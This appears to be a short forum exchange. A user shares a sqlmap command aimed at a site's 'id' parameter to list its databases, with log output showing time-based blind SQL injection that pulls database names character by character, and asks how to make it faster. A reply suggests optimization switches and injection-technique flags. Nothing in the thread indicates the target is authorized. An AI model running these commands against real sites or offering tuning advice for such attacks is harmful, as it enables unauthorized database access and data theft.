Here's an example. Just trying to list the databases:
python sqlmap.py -u "http://somesite.com/?id=1" --dbs
[15:20:32] [INFO] fetching database names
[15:20:32] [INFO] fetching number of databases
[15:20:32] [WARNING] time-based comparison needs larger statistical model. Making a few dummy requests, please wait..
[15:20:39] [WARNING] it is very important not to stress the network adapter's bandwidth during usage of time-based queries

[15:20:55] [INFO] adjusting time delay to 2 seconds due to good response times

[15:20:58] [INFO] retrieved: 100_MYDB
[15:22:39] [INFO] retrieved: DEV_GC_DATASTORAGE
[15:26:15] [INFO] retrieved: GC_
You can see in the timestamps it takes about 3 minutes to list 1 database name, it goes character by character, each character takes ~7 seconds. The tutorials I've seen on youtube are superfast... What can I do to speed this up? I've tried messing with .conf
Thanks.

You can also use the -o switch for some optimizations. Also try --technique=BEUS
